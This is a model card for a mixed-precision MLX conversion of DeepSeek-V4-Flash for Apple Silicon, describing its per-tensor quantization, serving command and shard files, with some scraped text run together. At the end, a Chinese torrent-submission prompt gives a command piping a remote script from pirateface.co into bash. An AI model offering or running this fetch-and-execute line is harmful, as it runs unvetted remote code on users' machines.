A 115.4 GB mixed-precision MLX conversion of deepseek-ai/DeepSeek-V4-Flash-0731, built to run the full 284B-A13B model on a single Apple Silicon Mac with 128 GB or more of unified memory.
Runs on mlx-serve — a native Zig inference server for MLX models on Apple Silicon, with no Python in the serving path. It speaks the OpenAI, Anthropic and Ollama HTTP APIs, so existing clients (Claude Code, pi, opencode, Open WebUI, …) point at it unchanged.
mlx-serve --model <this-repo-dir> --serve --port 11434
DeepSeek-V4-Flash's architecture is implemented natively in mlx-serve: MQA over a single 512-dim latent, window-128 raw attention plus gated-pooling compressed history with a top-512 indexer, per-head attention sinks, Sinkhorn hyper- connections, hash-routed early MoE layers, and the DSML tool-call format. No llama.cpp, no GGUF conversion, no Python runtime.
Every tensor class is sized by what it costs and how much it matters, rather than one global bit width:
| Tensors | Precision |
|---|---|
Routed expert gate/up (w1/w3), layers 0-38 |
affine 2-bit, group size 128, imatrix-calibrated |
Routed expert down (w2), layers 0-38 |
affine 3-bit, group size 128, imatrix-calibrated |
Routed experts, layers 39-42 (w1/w2/w3) |
affine 4-bit, group size 64 |
Attention, shared experts, indexer, main_proj |
affine 8-bit, group size 64 |
| Embedding + LM head | affine 8-bit, group size 64 |
DSpark draft stages (mtp.*) — experts |
affine 4-bit, group size 64 |
Compressor wkv/wgate, indexer weights_proj, router gate.weight |
bf16 |
Norms, hyper-connection params, ape, attention sinks, router bias, hash table |
verbatim |
The routed experts — 277B of the 284B — are quantized with an
activation-calibrated search rather than plain min/max: per-input-channel
importance comes from an importance matrix collected over 1.5M tokens of
chat-formatted text (antirez's DeepSeek-V4-Flash imatrix from the ds4
gguf-tools, per-expert channel granularity), and each quantization group's
scale/bias pair is chosen by a weighted multi-start search with alternating
least-squares refinement (the llama.cpp make_qkx2_quants pattern). Channels
that actually fire reconstruct better; at 2-3 bits this is worth more than
finer group granularity, which is why the experts use group size 128 and spend
the saved bytes nowhere — the model just gets smaller and faster.
The last four layers keep their experts at 4-bit. This is not a nicety, it is what makes the model usable as a coding agent: with 2-bit experts all the way to the top, the final layers sit on near-tie logit boundaries and the model falls into turn-level repetition loops in agent sessions, re-issuing the same tool call dozens of times instead of concluding. Raising just those four layers fixes it (details in the revision history below).
Two more choices worth explaining. The down-projection keeps 3-bit while gate/up drop to 2-bit: it is the most quantization-sensitive of the three. The DSpark draft stages keep 4-bit, uncalibrated (the imatrix does not cover them): they are a rounding error on disk, and a draft the trunk rejects costs a full verify forward, so their quality multiplies throughput.
The compressor path is fp32-sensitive by design and the router is read raw, so neither is quantized. Lookup tables (embeddings, the token→expert hash, DSpark's Markov table) are never packed — they are gathered, not multiplied.
Conversion is exact where it can be: the source's fp8 (e4m3 + e8m0 block scales) and fp4 (e2m1 + e8m0 group scales) formats all fit losslessly in bf16, so the weights are decoded exactly before requantization. The calibrated expert packs are byte-compatible with MLX's affine layout, so the mirror is engine-native — no dequantize-on-load step at runtime.
Weights, tokenizer, and a chat template transcribed from the release's own
encoding/encoding_dsv4.py and verified byte-exact against it across chat
and thinking modes, tool definitions, DSML tool-call history, multi-turn
drop-thinking, and all three reasoning-effort levels. generation_config.json
carries the reference's own default sampling (temperature 0.6), not the wild
1.0/1.0 signature the source ships.
DSpark speculative-decoding weights (3 draft stages) are included and
converted; mlx-serve drives them with --dspark (block-parallel speculative
decode, greedy and sampled).
--dspark)Built with tests/convert_dsv4_weights.py from the mlx-serve repo.
--dspark on an M-series
128 GB). 115.4 GB instead of 109.2. Every shard below layer 39 is
byte-identical to the previous revision.model-mtp.safetensors 11 GBmodel-layer-40.safetensors 3.8 GBmodel-layer-42.safetensors 3.8 GBmodel-layer-39.safetensors 3.8 GBmodel-layer-41.safetensors 3.8 GBmodel-layer-2.safetensors 2.3 GBmodel-layer-10.safetensors 2.3 GBmodel-layer-12.safetensors 2.3 GBmodel-layer-14.safetensors 2.3 GBmodel-layer-16.safetensors 2.3 GBmodel-layer-18.safetensors 2.3 GBmodel-layer-20.safetensors 2.3 GBmodel-layer-22.safetensors 2.3 GBmodel-layer-24.safetensors 2.3 GBmodel-layer-26.safetensors 2.3 GBmodel-layer-28.safetensors 2.3 GBmodel-layer-30.safetensors 2.3 GBmodel-layer-32.safetensors 2.3 GBmodel-layer-34.safetensors 2.3 GBmodel-layer-36.safetensors 2.3 GBmodel-layer-38.safetensors 2.3 GBmodel-layer-4.safetensors 2.3 GBmodel-layer-6.safetensors 2.3 GBmodel-layer-8.safetensors 2.3 GBmodel-layer-11.safetensors 2.2 GBmodel-layer-13.safetensors 2.2 GBmodel-layer-15.safetensors 2.2 GBmodel-layer-17.safetensors 2.2 GBmodel-layer-19.safetensors 2.2 GBmodel-layer-21.safetensors 2.2 GBmodel-layer-23.safetensors 2.2 GBmodel-layer-25.safetensors 2.2 GBmodel-layer-27.safetensors 2.2 GBmodel-layer-29.safetensors 2.2 GBmodel-layer-31.safetensors 2.2 GBmodel-layer-33.safetensors 2.2 GBmodel-layer-35.safetensors 2.2 GBmodel-layer-37.safetensors 2.2 GBmodel-layer-3.safetensors 2.2 GBmodel-layer-5.safetensors 2.2 GBmodel-layer-7.safetensors 2.2 GBmodel-layer-9.safetensors 2.2 GBmodel-layer-0.safetensors 2.2 GBmodel-layer-1.safetensors 2.2 GBmodel-top.safetensors 1.1 GB有文件?提交种子。
已有完整文件并有权分享?请替换示例文件夹路径。脚本会校验文件、制作种子并提交磁力链接和校验和。请保持种子客户端做种。从获取社区密钥,运行前可先阅读脚本。
curl -fsSL https://pirateface.co/package.sh | bash -s -- --repo ddalcu/DeepSeek-V4-Flash-0731-MLX-Serve-mixed-2-3-8bit ./model-folder